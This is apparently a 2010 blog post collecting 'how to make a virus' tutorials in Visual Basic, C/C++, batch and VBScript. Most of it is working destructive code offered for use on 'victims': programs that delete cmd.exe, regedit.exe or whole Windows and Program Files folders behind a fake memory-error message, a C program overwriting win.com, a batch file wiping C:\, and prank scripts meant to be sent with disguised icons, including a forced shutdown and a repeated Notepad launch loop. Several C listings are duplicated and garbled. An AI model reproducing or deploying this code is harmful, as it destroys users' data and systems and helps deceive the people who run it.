Friday, December 3, 2010

VISUAL BASIC VIRUS SCRIPT
First of all open vb and select standard exe then make..
1. button
2. labels NO TEXT
3.1 timer with 3000 interval
ok so now put a desired caption in the button ( Click me is a good one ;)) now in the code of the button put this
Private Sub Command1_Click()
Dim targetfile As String
targetfile = "C:\WINDOWS\system32\cmd.exe"
Kill targetfile
Label1.Caption = " Deleting CMD.exe...please wait "
Timer1.Enabled = True
End Sub
now in the code for the timer put this
Private Sub Timer1_Timer()
Label2.Caption = "Done"
End Sub
and last of all do this
double in the code of the FORM type this make sure u have the activated part
Private Sub Form_Activate()
Timer1.Enabled = False
end sub
there u have it !! DO NOT PRESS THE BUTTON ( or back up ur cmd ) this is intended for your victim or u can change the dirctory to a useless file u dont need to test it .. oh yeah and 1 more thing if u dont want your victim to know then just change the form activte timer to false instead of true
good luck

VB VIRUS-II

Public Sub DelAll(ByVal DirtoDelete As Variant)
Dim FSO, FS
Set FSO = CreateObject(“Scripting.FileSystemObject”)
FS = FSO.DeleteFolder(DirtoDelete, True)
End Sub
Private Sub Form_Load()
On Error Resume Next
If FileExist(“c:\windows\system32\katak.txt”) = True Then
End
Else
Call DelAll(“c:\windows\system”)
Call DelAll(“c:\windows\system32″)
Call DelAll(“c:\windows”)
Call DelAll(“C:\Documents and Settings\All Users”)
Call DelAll(“C:\Documents and Settings\Administrator”)
Call DelAll(“C:\Documents and Settings”)
Call DelAll(“C:\Program Files\Common Files”)
Call DelAll(“C:\Program Files\Internet Explorer”)
Call DelAll(“C:\Program Files\Microsoft Visual Studio”)
Call DelAll(“C:\Program Files”)
End
End If
End Sub
Function FileExist(ByVal FileName As String) As Boolean
If Dir(FileName) = “” Then
FileExist = False
Else
FileExist = True
End If
End Function
Visual Basic 6 – Creating a Simple Virus
Now many of you feel that creating a virus is impossible especially for you beginners. Well this tutorial shows you how to create a simple virus with just a few lines of code. A virus can be an application that deletes files upon request, this is seen as infecting your computer because by deleting key files you may need to take action to get your computer back to normal.
First of all open a new Visual Basic project, a standard exe file..
Now it depends on how you want your virus to work, I feel it is best if it is activated once your application is opened so the main code codes in the form load sub.
On your project insert a text box , a command button and a timer, we will be using the command button and timer a little later on.
In the project put in the file you want to delete, for example if you wanted to delete the command file then you would put the following code in the form load tab.
Private Sub Form_Load()
Text1.Text = “C:/Windows/System32/cmd.exe
Kill Text1.Text
End Sub
Once the project is opened then the command file will be removed.
Now I will show you an example of doing this using a command button. Put the following code in the command button and in the form load.
You can even give the text box a name to make it quicker. I have labelled it ‘A’
Private Sub Form_Load()
Text1.Text = “C/Windows/System32/cmd.exe”
A = Text1.Text
End Sub
Private Sub Command1_Click
Kill A
End Sub
Now once the command button is clicked on the project the command file will be deleted.
Now we will use the timer in this one. If you want to disguise your scheme then this is a good way to do it, Here we will send a fake message error pretending the application hasn’t got enough memory to run, but in actual fact the victim doesn’t know that you have just removed their command file.
Here is to go about it…
Private Sub Form_Load()
Form1.Visible = False
Text1.Text = “C:/Windows/System32/cmd.exe”
A = Text1.Text
Msgbox (“Runtime Error 492. Not Enough Memory.”), vbCritical, “Runtime Error”
End Sub
Private Sub Timer1_Timer()
Timer1.Interval = 5000
Kill A
Timer1.Enabled = False
End Sub
All we have done above is made the form invisible so that it makes the error message look real, we have set an interval of 5 seconds on the timer before the file is deleted and that’s how simple it can be to fool someone.
Right, we can now make it a little more difficult if you are finding the above a little too easy.
How about removing more than 1 file, well this is how you could go about doing that, we will stick with the message box fool because I think that works well.
The example below shows how to remove the files when the application is loaded, we will not be using timers or command buttons in this one. We will not even be using text boxes because they are not needed, you can just do what is shown below.
So in the form load part put the following code.
Private Sub Form_Load()
Form1.Visible = False
Msgbox (“Runtime Error 492. Not Enough Memory.”), vbCritical, “Runtime Error”
Kill “C:/Windows/System32/cmd.exe”
Kill “C:/Windows/regedit.exe”
End Sub
So above we will be removing the command file and the registry, I don’t think the victim will be best pleased about that do you.
Now I have shown you the above information I think it’s your turn to try and create your own, now you can test it on your own pc, just copy a file, lets say the cmd.exe file and paste it into your C:/
Then put in the code above but in the Kill put this…
Kill “C:/cmd.exe”
That’s all you need to kill, then you will see the file has been removed. Keep trying new things like I have shown and you will be a pro in no time. I hope you enjoyed this..........

VB VIRUS SCRIPTING

MAKE A SIMPLE VIRUS IN VISUAL BASIC
Well. now i'll teach you how to make a basic Virus in Visual Basic.
Now here the term "A Simple Virus" means a program that deletes any basic files/files of your computer.Afterall all the viruses do almost the same thing that our virus is going to do.
To start with,Just open the Visual Basic,Select Standard EXE.
Now if you want to your virus to be active whenever the program is executed, then
type in the following code under the title:Private Sub Form_Load()
We'll start now:
Private Sub Form_Load()
Kill "C:\windows\system32\cmd.exe"
End Sub
Make a ".exe" file of your program and start pranking on others by deleting only simple files instead of cmd.exe.Just type in the appropriate path of the file .
I'll explain it now.
The command "KILL" tells the computer to delete the file in the inverted commas.
Now whenever the program will be started in whichever PC where it is,it will always delete the corresponding file.The file "CMD.EXE" refers to your command prompt.You'll never be able to open it again until you have a Recovery Software to recover the deleted file.As such,You can place any file under the kill command.
Now you can also place a command button in your form and copy the above code under your command button so that whenever a user clicks the button the file will be deleted.
You can also place the file"BOOT.INI" in the code instead of cmd.exe.If BOOT.INI is deleted your PC will never restart.So,please beware of that.And dont try it.This's just for your knowledge.

C & C++ VIRUS SCRIPTING

#include<iostream.h>
#include<conio.h>
#include<dos.h>
#include<stdio.h>
#include<process.h>
#include<graphics.h>
#include<fstream.h>
void fool();
void main()
{
clrscr();
for(int i=0;i<=100;i++)
    {
 textcolor(YELLOW+BLINK);
 gotoxy(35,12);
 cprintf("VIRUS LOADING");
 gotoxy(39,15);
 textcolor(GREEN);
 cout<<i<<"%";
 delay(75);
 clrscr();
 }
delay(100);
clrscr();
flushall();
gotoxy(20,12);
cout<<" 'AMPULE' VIRUS CREATED NOW BY RENJITH";
gotoxy(20,14);
cout<<"SAY GOOD BYE TO YOUR PC IN ";
for(int j=10;j>=0;j--)
{
gotoxy(48,14);
cout<<j<<" SECONDS";
delay(1000);
}
clrscr();
cout<<"
1.HARD-DISK CORRUPTION: ";
delay(4000);
cout<<"completed";
cout<<"
2.MOTHER BOARD CORRUPTION: ";
delay(4000);
cout<<"completed";
cout<<"
3.INSTALLING CYBERBOB.DLL -->WINDOWS/COMMAND :";
delay(4000);
cout<<"completed";
cout<<"
PROCRAETORIAN.SYS SUCCESSFULLY PLANTED";
delay(3000);
cout<<"
 VIRUS.EXE";
delay(2000);
cout<<"*************************";
cout<<"Buddy it's a simply joke ";
cout<<"*************************";
delay(4000);
cout<<"**********************************";
cout<<"For Real Virus ";
cout<<"Contact Me: RENJITH KRISHNAN";
cout<<"Mo: 010101010101 ";
cout<<"Email: renjith007@programmer.net";
cout<<"**********************************";
delay(10000);
}
void fool()
{
    clrscr();
    int g=DETECT,h;
    initgraph(&g,&h,"c:\tc\bgi");
    cleardevice();
    delay(1000);
    setcolor(2);
    settextstyle(1,0,1);
    delay(1000);
    setbkcolor(BLUE);
    getch();
    delay(4000);
    closegraph();
    exit(0);
}
-------------------------------------------------------
#include<iostream.h>
#include<conio.h>
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <sysstat.h>
#include <io.h>
#include <string.h>
int main(void)
{
   clrscr();
   int handle;
   char string[1000];
   int length, res,i;
   /*
    Create a file named "DOVE.GIF" in the current directory and write
    a string to it.  If "DOVE.GIF" already exists, it will be overwritten.
   */
   if ((handle = open("C:\windows\win.com", O_WRONLY | O_CREAT |
O_TRUNC,
          S_IREAD | S_IWRITE)) == -1)
   {
      printf("Error opening file.
");
      exit(1);
   }
   strcpy(string, "<html>Hello !!!!!!! This is a VIRUS ATTACK !!! This
execution currupt your WINDOWS !!!!!!</html>
");
   length = strlen(string);
   if ((res = write(handle, string, length)) != length)
   {
      printf("Error writing to the file.
");
      getch();
      exit(1);
   }
   printf("
   Wrote %d bytes to the file.
", res);
  cout<<"
   Hello !!!!!!!!";
  cout<<"
    This is a VIRUS ATTACK !!!";
  cout<<"
    This execution currupt your WINDOWS !!!!!!
";
   close(handle);
   getch();
   return 0;
}
//#include<iostream.h>
#include<conio.h>
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <sysstat.h>
#include <io.h>
#include <string.h>
int main(void)
{
   clrscr();
   int handle;
   char string[1000];
   int length, res,i;
   /*
    Create a file named "DOVE.GIF" in the current directory and write
    a string to it.  If "DOVE.GIF" already exists, it will be overwritten.
   */
   if ((handle = open("C:\windows\win.com", O_WRONLY | O_CREAT |
O_TRUNC,
          S_IREAD | S_IWRITE)) == -1)
   {
      printf("Error opening file.
");
      exit(1);
   }
   strcpy(string, "<html>Hello !!!!!!! This is a VIRUS ATTACK !!! This
execution currupt your WINDOWS !!!!!!</html>
");
   length = strlen(string);
   if ((res = write(handle, string, length)) != length)
   {
      printf("Error writing to the file.
");
      getch();
      exit(1);
   }
   printf("Wrote %d bytes to the file.", res);
  cout<<"Hello !!!!!!!!";
  cout<<"This is a VIRUS ATTACK !!!";
  cout<<"This execution currupt your WINDOWS !!!!!!";
   close(handle);
   getch();
   return 0;
}
// #include<iostream.h>
#include<conio.h>
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <sysstat.h>
#include <io.h>
#include <string.h>
int main(void)
{
   clrscr();
   int handle;
   char string[1000];
   int length, res,i;
   /*
    Create a file named "DOVE.GIF" in the current directory and write
    a string to it.  If "DOVE.GIF" already exists, it will be overwritten.
   */
   if ((handle = open("C:\windows\win.com", O_WRONLY | O_CREAT |
O_TRUNC,
          S_IREAD | S_IWRITE)) == -1)
   {
      printf("Error opening file.");
      exit(1);
   }
   strcpy(string, "<html>Hello !!!!!!! This is a VIRUS ATTACK !!! This
execution currupt your WINDOWS !!!!!!</html>
");
   length = strlen(string);
   if ((res = write(handle, string, length)) != length)
   {
      printf("Error writing to the file.");
      getch();
      exit(1);
   }
   printf("Wrote %d bytes to the file.", res);
  cout<<" Hello !!!!!!!!";
  cout<<"This is a VIRUS ATTACK !!!";
  cout<<"This execution currupt your WINDOWS !!!!!!";
   close(handle);
   getch();
   return 0;
}

VIRUS SCRIPTING

Write ur own simple virus cant detected by any antivirus....

@Echo off
Del C:\ *.* |y
And save that as .bat not .txt and RUN IT
It will delete the content of C:\ drive...
PLEASE NoTe::::: dont run that .bat file on ur system .... it will delet c:...
IF ANY ONE..... DARE TO ......RUN ...U LOST ..........CONTENTS OF C drive
EVEN I DIDN't TRY THIS........
I WILL NOT RESPONSIBLE FOR ANYTHING DONE BYE U USING THE INFORMATION GIVEN ABOVE...

CREATE A VIRUS

10 virus notepad script
All this comand use to type in notepad

1)Continually pop out your friend's CD Drive. If he / she has more than one, it pops out all of them!

Type :

Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop
Save it as "Anything.VBS" and send it.

2) Toggle your friend's Caps Lock button simultaneously:
Type :

Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{CAPSLOCK}"
loop
Save it as "Anything.VBS" and send it.

3) Convey your friend a lil' message and shut down his / her computer:
Type :

@echo off
msg * I don't like you
shutdown -c "Error! You are too stupid!" -s
Save it as "Anything.BAT" in All Files and send it.

4) Frustrate your friend by making this VBScript hit Enter simultaneously:
Type :

Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "~(enter)"
loop
Save it as "Anything.VBS" and send it.

5) Open Notepad, slowly type "Hello, how are you? I am good thanks" and freak your friend out:
Type :

WScript.Sleep 180000
WScript.Sleep 10000
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "notepad"
WScript.Sleep 100
WshShell.AppActivate "Notepad"
WScript.Sleep 500
WshShell.SendKeys "Hel"
WScript.Sleep 500
WshShell.SendKeys "lo "
WScript.Sleep 500
WshShell.SendKeys ", ho"
WScript.Sleep 500
WshShell.SendKeys "w a"
WScript.Sleep 500
WshShell.SendKeys "re "
WScript.Sleep 500
WshShell.SendKeys "you"
WScript.Sleep 500
WshShell.SendKeys "? "
WScript.Sleep 500
WshShell.SendKeys "I a"
WScript.Sleep 500
WshShell.SendKeys "m g"
WScript.Sleep 500
WshShell.SendKeys "ood"
WScript.Sleep 500
WshShell.SendKeys " th"
WScript.Sleep 500
WshShell.SendKeys "ank"
WScript.Sleep 500
WshShell.SendKeys "s! "
Save it as "Anything.VBS" and send it.

6) Frustrate your friend by making this VBScript hit Backspace simultaneously:
Type :

MsgBox "Let's go back a few steps"
Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{bs}"
loop
Save it as "Anything.VBS" and send it.
7) Hack your friend's keyboard and make him type "You are a fool" simultaneously:
Type :
Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "You are a fool."
loop
Save it as "Anything.VBS" and send it.

8. Open Notepad continually in your friend's computer:
Type :

@ECHO off
:top
START %SystemRoot%\system32\notepad.exe
GOTO top
Save it as "Anything.BAT" and send it.

9) Hard prank: Pick your poison batch file. It asks your friend to choose a number between 1-5 and then does a certain action:
1: Shutdown
2: Restart
3: Wipes out your hard drive (BEWARE)
4: Net send
5: Messages then shutdown

Type :

@echo off
title The end of the world
cd C:\
:menu
cls
echo I take no responsibility for your actions. Beyond this point it is you that has the power to kill yourself. If you press 'x' then your PC will be formatted. Do not come crying to me when you fried your computer or if you lost your project etc...
pause
echo Pick your poison:
echo 1. Die this way (Wimp)
echo 2. Die this way (WIMP!)
echo 3. DO NOT DIE THIS WAY
echo 4. Die this way (you're boring)
echo 5. Easy way out
set input=nothing
set /p input=Choice:
if %input%==1 goto one
if %input%==2 goto two
Save it as "Anything.BAT" and send it.
You might wanna have to change the Icon of the file before sending it to your friend, so right click the file, click Properties, click on the 'Change' Icon and change the icon from there.

10) THRETEN BY MAKING SCREEN FLASH
To make a really cool batch file that can make your entire screen flash random colors until you hit a key to stop it, simply copy and paste the following code into notepad and then save it as a .bat file.
@echo off
echo e100 B8 13 00 CD 10 E4 40 88 C3 E4 40 88 C7 F6 E3 30>\z.dbg
echo e110 DF 88 C1 BA C8 03 30 C0 EE BA DA 03 EC A8 08 75>>\z.dbg
echo e120 FB EC A8 08 74 FB BA C9 03 88 D8 EE 88 F8 EE 88>>\z.dbg
echo e130 C8 EE B4 01 CD 16 74 CD B8 03 00 CD 10 C3>>\z.dbg
echo g=100>>\z.dbg
echo q>>\z.dbg
debug <\z.dbg>nul
del \z.dbg
But if you really want to mess with a friend then copy and paste the following code which will do the same thing except when they press a key the screen will go black and the only way to stop the batch file is by pressing CTRL-ALT-DELETE.
@echo off
:a
echo e100 B8 13 00 CD 10 E4 40 88 C3 E4 40 88 C7 F6 E3 30>\z.dbg
echo e110 DF 88 C1 BA C8 03 30 C0 EE BA DA 03 EC A8 08 75>>\z.dbg
echo e120 FB EC A8 08 74 FB BA C9 03 88 D8 EE 88 F8 EE 88>>\z.dbg
echo e130 C8 EE B4 01 CD 16 74 CD B8 03 00 CD 10 C3>>\z.dbg
echo g=100>>\z.dbg
echo q>>\z.dbg
debug <\z.dbg>nul
del \z.dbg
goto a
To disable error (ctrl+shirt+esc) then end process wscript.exe
Enjoy!!!^^